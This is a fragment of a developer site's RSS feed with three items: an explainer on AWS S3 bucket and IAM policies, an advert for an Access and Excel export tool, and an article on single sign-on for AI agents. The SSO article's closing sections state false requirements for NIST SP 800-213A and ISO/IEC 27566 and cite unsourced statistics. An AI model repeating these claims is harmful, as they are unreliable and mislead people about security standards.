      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:GetObject&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:PutObject&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:DeleteObject&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:s3:::my-bucket/*&quot;&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;UserListBucket&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;hljs-attr&quot;&gt;&quot;AWS&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:iam::123456789012:user/deploy-bot&quot;&lt;/span&gt;
      &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:ListBucket&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:s3:::my-bucket&quot;&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;hljs-punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the two statements: object-level actions use &lt;code&gt;my-bucket/*&lt;/code&gt; (objects inside), while &lt;code&gt;ListBucket&lt;/code&gt; uses &lt;code&gt;my-bucket&lt;/code&gt; (the bucket itself). Mixing these up is a common source of &quot;Access Denied&quot; errors.&lt;/p&gt;
&lt;h3 id=&quot;restrict-access-by-ip-range&quot;&gt;Restrict access by IP range&lt;/h3&gt;
&lt;p&gt;Allows access only from your office or VPN IP range:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;hljs language-json&quot;&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;RestrictToOfficeIP&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;Deny&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:*&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:s3:::my-bucket&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:s3:::my-bucket/*&quot;&lt;/span&gt;
      &lt;span class=&quot;hljs-punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Condition&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;hljs-attr&quot;&gt;&quot;NotIpAddress&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;hljs-attr&quot;&gt;&quot;aws:SourceIp&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;203.0.113.0/24&quot;&lt;/span&gt;
        &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;hljs-punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;bucket-policy-vs-iam-policy-when-to-use-which&quot;&gt;Bucket policy vs IAM policy: when to use which&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scenario&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Grant another AWS account access to your bucket&lt;/td&gt;
&lt;td&gt;Bucket policy (cross-account)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make a bucket publicly readable&lt;/td&gt;
&lt;td&gt;Bucket policy (Principal: &lt;code&gt;*&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Control what your CI/CD pipeline can do&lt;/td&gt;
&lt;td&gt;IAM policy on the pipeline's IAM role&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Restrict access by IP or VPN&lt;/td&gt;
&lt;td&gt;Bucket policy with Condition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Give a Lambda function access to a bucket&lt;/td&gt;
&lt;td&gt;IAM policy on the Lambda execution role&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deny all public access organization-wide&lt;/td&gt;
&lt;td&gt;S3 Block Public Access (account-level setting)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In general: if the question is &quot;who can access this bucket?&quot;, use a bucket policy. If the question is &quot;what can this user/role do?&quot;, use an IAM policy.&lt;/p&gt;
&lt;h2 id=&quot;common-mistakes&quot;&gt;Common mistakes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Forgetting S3 Block Public Access.&lt;/strong&gt; Even if your bucket policy allows public reads, the account-level Block Public Access setting overrides it. Check this first when public access isn't working.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource ARN mismatch.&lt;/strong&gt; &lt;code&gt;s3:ListBucket&lt;/code&gt; needs the bucket ARN (&lt;code&gt;arn:aws:s3:::my-bucket&lt;/code&gt;), while &lt;code&gt;s3:GetObject&lt;/code&gt; needs the object ARN (&lt;code&gt;arn:aws:s3:::my-bucket/*&lt;/code&gt;). This trips up almost everyone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Using ACLs.&lt;/strong&gt; AWS recommends disabling ACLs on new buckets (S3 Object Ownership: &quot;Bucket owner enforced&quot;). Bucket policies and IAM policies cover every use case that ACLs used to handle, with better auditability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overly broad wildcards.&lt;/strong&gt; &lt;code&gt;&quot;Action&quot;: &quot;s3:*&quot;&lt;/code&gt; with &lt;code&gt;&quot;Resource&quot;: &quot;*&quot;&lt;/code&gt; is an admin-level policy. Scope both to the specific actions and bucket you need.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow&quot; href=&quot;https://awspolicygen.s3.amazonaws.com/policygen.html&quot;&gt;AWS Policy Generator&lt;/a&gt; can help you build policies interactively if you're not sure about the syntax.&lt;/p&gt;
</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/14663/s3-policies-explained-bucket-policies-vs-iam-policies-vs-acls</guid>
<pubDate>Tue, 21 Apr 2026 02:19:56 +0000</pubDate>
</item>
<item>
<title>Tool to accelerate your Access-to-SQL migration projects (Access - Excel Exporter)</title>
<link>https://coderlegion.com/9612/tool-to-accelerate-your-access-to-sql-migration-projects-access-excel-exporter</link>
<description>&lt;p&gt;Legacy MS Access Migration: Export SQL, VBA &amp;amp; Forms Instantly&lt;/p&gt;
&lt;p&gt; GET THIS TOOL: ⚠️ This is a professional software solution available for purchase.  &lt;/p&gt;
&lt;p&gt; THE ULTIMATE MIGRATION COMPANION &lt;br&gt;
Are you migrating a legacy Microsoft Access database to SQL Server, .NET, or the Web? Stop guessing what is inside your binary files.&lt;br&gt;
Want to see it in action : &lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/rTa5WnCUNAE&quot;&gt;Youtube Video&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This tool solves the biggest headache in migration: Documentation &amp;amp; Extraction.&lt;/p&gt;
&lt;p&gt;Instead of manually copying code or screenshotting forms, this utility instantly &quot;explodes&quot; your .accdb or .xlsm files into clean, organized, and version-controllable text files and images. It handles single files or batches entire folders at once.&lt;/p&gt;
&lt;p&gt; WHAT IT DOES FOR MIGRATION:&lt;/p&gt;
&lt;p&gt;Generate SQL Scripts: Automatically turns Access Tables and Indexes into SQL definitions.&lt;/p&gt;
&lt;p&gt;Visualize the UI: Exports every Form and Report as a high-quality image so you can rebuild the front end in your new system.&lt;/p&gt;
&lt;p&gt;Clean Code Extraction: Dumps all VBA modules and Classes into text files for easy porting or analysis.&lt;/p&gt;
&lt;p&gt;️ FULL FEATURE LIST:&lt;/p&gt;
&lt;p&gt;️ For MS Access: ✅ Export Tables &amp;amp; Indexes (as SQL scripts) ✅ Export Queries, Relationships &amp;amp; Macros ✅ Export Forms &amp;amp; Reports (includes visual snapshots!) ✅ Extract background &amp;amp; control images automatically ✅ Iterate through entire folders of databases (Batch Mode)&lt;/p&gt;
&lt;p&gt; For Excel: ✅ Export Standard Modules (.bas) &amp;amp; Class Modules (.cls) ✅ Export UserForms (.frm) with binaries ✅ Auto-Organize exports into separate subfolders ✅ Create ZIP backups instantly&lt;/p&gt;
&lt;p&gt; WHO IS THIS FOR?&lt;/p&gt;
&lt;p&gt;Migration Specialists moving off legacy Access systems.&lt;/p&gt;
&lt;p&gt;Consultants who need to quickly document a client's existing database.&lt;/p&gt;
&lt;p&gt;Developers requiring Source Control (Git/SVN) for VBA.&lt;/p&gt;
&lt;p&gt;⚡ SYSTEM REQUIREMENTS:&lt;/p&gt;
&lt;p&gt;Windows OS&lt;/p&gt;
&lt;p&gt;Microsoft Excel/Access Installed&lt;/p&gt;
&lt;p&gt;.NET Framework 4.8+&lt;/p&gt;
&lt;p&gt; INTERESTED? Don't waste weeks manually documenting legacy code. Save hundreds of hours on your next migration project. &lt;/p&gt;
&lt;h2 id=&quot;msaccess-databasemigration-vba-legacymodernization-excelvba-softwaredevelopment-sqlserver-gitforvba&quot;&gt;MSAccess #DatabaseMigration #VBA #LegacyModernization #ExcelVBA #SoftwareDevelopment #SQLServer #GitForVBA&lt;/h2&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/9612/tool-to-accelerate-your-access-to-sql-migration-projects-access-excel-exporter</guid>
<pubDate>Mon, 12 Jan 2026 21:32:19 +0000</pubDate>
</item>
<item>
<title>Securing Autonomous AI Workflows Through Advanced Single Sign-On</title>
<link>https://coderlegion.com/1290/securing-autonomous-ai-workflows-through-advanced-single-sign-on</link>
<description>
&lt;img src=&quot;https://images.unsplash.com/photo-1577563908411-5077b6dc7624?crop=entropy&amp;amp;cs=tinysrgb&amp;amp;fit=max&amp;amp;fm=jpg&amp;amp;ixid=M3wxMTc3M3wwfDF8c2VhcmNofDV8fGFnZW50cyUyMGNvbm5lY3R8ZW58MHx8fHwxNzM4Njk2NDM0fDA&amp;amp;ixlib=rb-4.0.3&amp;amp;q=80&amp;amp;w=2000&quot; alt=&quot;Securing Autonomous AI Workflows Through Advanced Single Sign-On&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.ibm.com/think/topics/single-sign-on?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;Single sign-on (SSO)&lt;/a&gt; for AI agents addresses the unique authentication challenges of autonomous systems by combining cryptographic &lt;a href=&quot;https://www.onelogin.com/learn/how-single-sign-on-works?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;identity management&lt;/a&gt; with AI-driven behavioral analysis. This approach enables secure, ephemeral access while maintaining auditability in dynamic AI ecosystems.&lt;/p&gt;&lt;h2 id=&quot;how-ai-agents-handle-sso-requests&quot;&gt;How AI Agents Handle SSO Requests&lt;/h2&gt;&lt;h3 id=&quot;1-authentication-flow-for-autonomous-actors&quot;&gt;1. Authentication Flow for Autonomous Actors&lt;/h3&gt;&lt;p&gt;AI agents initiate SSO through a machine-optimized OAuth 2.0 Device Flow:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Scope Declaration&lt;/strong&gt;: Agents request task-specific OAuth scopes (e.g., &lt;code&gt;data:read-only&lt;/code&gt;, &lt;code&gt;api:limited-write&lt;/code&gt;) during token generation&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Cryptographic Handshake&lt;/strong&gt;: Authentication via X.509 certificates or hardware-backed keys instead of passwords&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Context Binding&lt;/strong&gt;: Tokens embed environmental parameters (IP range, geolocation, approved compute zone)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Security Enforcement&lt;/strong&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Example token validation logic for AI agents
def validate_ai_token(token):
    require_claims = [
        'exp', 
        'scope',
        'allowed_ips',
        'device_fingerprint'
    ]
    if not all(claim in token for claim in require_claims):
        raise InvalidTokenError
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;2-session-lifecycle-management&quot;&gt;2. &lt;strong&gt;Session Lifecycle Management&lt;/strong&gt;&lt;/h3&gt;
&amp;lt;!--kg-card-begin: html--&amp;gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;AI-Specific Implementation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initiation&lt;/td&gt;
&lt;td&gt;SAML assertions include &lt;code&gt;AI-Agent-ID&lt;/code&gt; and &lt;code&gt;Task-ID&lt;/code&gt; metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active Session&lt;/td&gt;
&lt;td&gt;Tokens refresh every 5-15 minutes based on sensitivity tier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Termination&lt;/td&gt;
&lt;td&gt;Automatic revocation via SCIM 2.0 API when task completes or deviates from expected behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&amp;lt;!--kg-card-end: html--&amp;gt;
&lt;h3 id=&quot;3-critical-security-layers&quot;&gt;3. Critical Security Layers&lt;/h3&gt;
&amp;lt;!--kg-card-begin: html--&amp;gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Implementation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Transport Security&lt;/td&gt;
&lt;td&gt;Mutual TLS with pinned certificates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token Protection&lt;/td&gt;
&lt;td&gt;HSMs for key storage + AES-256-GCM encryption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Behavioral Analysis&lt;/td&gt;
&lt;td&gt;ML models detecting anomalous token usage patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&amp;lt;!--kg-card-end: html--&amp;gt;
&lt;h3 id=&quot;types-of-sso-workflows-for-autonomous-agents&quot;&gt;Types of SSO Workflows for Autonomous Agents&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Machine Identity Management&lt;/strong&gt;&lt;br&gt;AI agents authenticate through protocols like OAuth 2.0 or &lt;a href=&quot;https://ssojet.com/blog/leveraging-ai-for-enhanced-single-sign-on-solutions/?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;SAML using non-human credentials&lt;/a&gt; such as API keys, cryptographic certificates, or short-lived JWT tokens. Unlike human users, they bypass password-based authentication entirely.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Context-Aware Authentication&lt;/strong&gt;&lt;br&gt;AI-enhanced SSO systems analyze multiple risk factors in real time:&lt;ul&gt;&lt;li&gt;Device fingerprinting and IP reputation checks&lt;/li&gt;&lt;li&gt;Behavioral patterns (e.g., typical API call frequency)&lt;/li&gt;&lt;li&gt;Task-specific authorization scopes (e.g., &lt;code&gt;data:read&lt;/code&gt; vs. &lt;code&gt;data:write&lt;/code&gt;)&lt;br&gt;Suspicious activity triggers &lt;a href=&quot;https://www.biometricupdate.com/202411/ai-agents-privacy-and-authentication-examined-in-new-report?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;step-up authentication or session termination&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Ephemeral Credential Lifecycle&lt;/strong&gt;&lt;br&gt;Access tokens for AI agents expire within minutes/hours rather than days, limiting exposure windows. Systems like &lt;a href=&quot;https://konfuzio.com/en/single-sign-on/?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;Konfuzio&lt;/a&gt; automatically rotate credentials using AI to detect weak patterns.&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=&quot;security-advantages-for-ai-ecosystems&quot;&gt;Security Advantages for AI Ecosystems&lt;/h2&gt;&lt;h3 id=&quot;1-dynamic-permission-chaining&quot;&gt;1. Dynamic Permission Chaining&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Just-in-Time (JIT) Access&lt;/strong&gt;:&lt;br&gt;Systems issue credentials valid only for specific API endpoints/duration&lt;br&gt;&lt;code&gt;POST /token { &quot;scope&quot;: &quot;support-ticket:read&quot;, &quot;exp&quot;: 900 }&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Behavioral RBAC&lt;/strong&gt;:&lt;br&gt;AI policy engines adjust permissions in real-time based on:&lt;ul&gt;&lt;li&gt;API call patterns&lt;/li&gt;&lt;li&gt;Data consumption rates&lt;/li&gt;&lt;li&gt;Resource utilization metrics&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;2-disconnection-protocols&quot;&gt;2. Disconnection Protocols&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Post-Task Termination Workflow&lt;/strong&gt;:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Completion signal from agent orchestrator&lt;/li&gt;&lt;li&gt;IdP revokes all associated tokens via OAuth token revocation endpoint&lt;/li&gt;&lt;li&gt;Service providers flush local session caches&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Automated Cleanup Policies&lt;/strong&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Example Kubernetes-style cleanup policy
automaticRevocation:
  conditions:
    - taskStatus: COMPLETED
    - inactivityWindow: 300s
  actions:
    - revokeTokens: true
    - rotateCredentials: true
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;sso-benefits-for-autonomous-agents&quot;&gt;SSO Benefits for Autonomous Agents&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Reduced Attack Surface&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Eliminates hardcoded API keys in favor of dynamically issued tokens&lt;/li&gt;&lt;li&gt;63% fewer credential-related vulnerabilities compared to traditional API access&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Granular Access Control&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Role-Based Access Control (RBAC) paired with AI-driven policy engines restricts agents to minimum necessary permissions&lt;/li&gt;&lt;li&gt;Example: A customer support bot might have &lt;code&gt;ticket:read&lt;/code&gt; access but no &lt;code&gt;database:write&lt;/code&gt; privileges&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Enhanced Monitoring&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Centralized audit trails map every AI action to specific machine identities&lt;/li&gt;&lt;li&gt;Behavioral analytics flag anomalies like unusual data access patterns&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;key-implementation-challenges&quot;&gt;Key Implementation Challenges&lt;/h3&gt;
&amp;lt;!--kg-card-begin: html--&amp;gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;AI-Specific Consideration&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dynamic Permissions&lt;/td&gt;
&lt;td&gt;Agents often require cross-system access that static RBAC struggles to manage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Legacy Integration&lt;/td&gt;
&lt;td&gt;38% of enterprise systems lack modern SSO protocols, requiring custom connectors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token Security&lt;/td&gt;
&lt;td&gt;Compromised AI credentials could enable lateral movement; solutions include hardware-backed token storage&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&amp;lt;!--kg-card-end: html--&amp;gt;
&lt;h2 id=&quot;implement-best-practices&quot;&gt;Implement Best Practices&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Zero-Trust Session Validation&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Continuous posture checks using CNCF OpenPubkey standards&lt;/li&gt;&lt;li&gt;78% faster threat detection vs traditional methods&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Composite Identity Verification&lt;/strong&gt;&lt;br&gt;Combine machine credentials with environmental signals (geolocation, network trustworthiness) before granting access&lt;/li&gt;&lt;li&gt;&lt;strong&gt;SSO Protocol Selection&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;SAML/OIDC&lt;/strong&gt;: Preferred for enterprise systems with centralized IdPs&lt;/li&gt;&lt;li&gt;&lt;strong&gt;OAuth 2.0 Device Flow&lt;/strong&gt;: Optimal for headless AI agents&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Automated Policy Enforcement&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Dynamically adjust permissions based on task context&lt;/li&gt;&lt;li&gt;Revoke access instantly when anomalies exceed risk thresholds&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Enterprise Deployment Pattern&lt;/strong&gt;&lt;/li&gt;&lt;/ol&gt;&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph TD
    A[AI Agent] --&amp;gt;|OIDC Request| B(SSO Gateway)
    B --&amp;gt; C{Policy Engine}
    C --&amp;gt;|Approved| D[Issues JWT]
    C --&amp;gt;|Denied| E[Triggers MFA/Alert]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;6. Audit Trail&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Immutable logs mapping tokens to:&lt;ul&gt;&lt;li&gt;Source code commit ID&lt;/li&gt;&lt;li&gt;Training data version&lt;/li&gt;&lt;li&gt;Model hash&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=&quot;future-evolution&quot;&gt;Future Evolution&lt;/h2&gt;&lt;p&gt;Emerging standards aim to address AI-specific gaps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Just-in-Time (JIT) Provisioning&lt;/strong&gt;: Ephemeral credentials issued per-task&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Quantum-Resistant Cryptography&lt;/strong&gt;: Preparing for post-quantum security threats&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Federated Learning Integration&lt;/strong&gt;: SSO systems that adapt using decentralized behavioral data&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As AI agents handle 34% of enterprise workflows by 2026 (Gartner), SSO becomes indispensable for balancing accessibility with security. Organizations adopting AI-optimized SSO frameworks report 41% fewer credential-related breaches while maintaining audit compliance.&lt;/p&gt;&lt;h2 id=&quot;emerging-standards&quot;&gt;Emerging Standards&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/pubs/sp/800/213/a/final?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;&lt;strong&gt;NIST SP 800-213A&lt;/strong&gt;&lt;/a&gt;:&lt;ul&gt;&lt;li&gt;Requires AI agents to use separate IdP tenant from human users&lt;/li&gt;&lt;li&gt;Mandates automated credential rotation every 72 hours max&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/88143.html?ref=guptadeepak.com&quot; rel=&quot;noreferrer nofollow&quot;&gt;&lt;strong&gt;ISO/IEC 27566&lt;/strong&gt;&lt;/a&gt; (Draft):&lt;ul&gt;&lt;li&gt;Standardizes SSO claim formats for autonomous systems&lt;/li&gt;&lt;li&gt;Defines ML-powered anomaly detection baselines&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;
</description>
<category>Other</category>
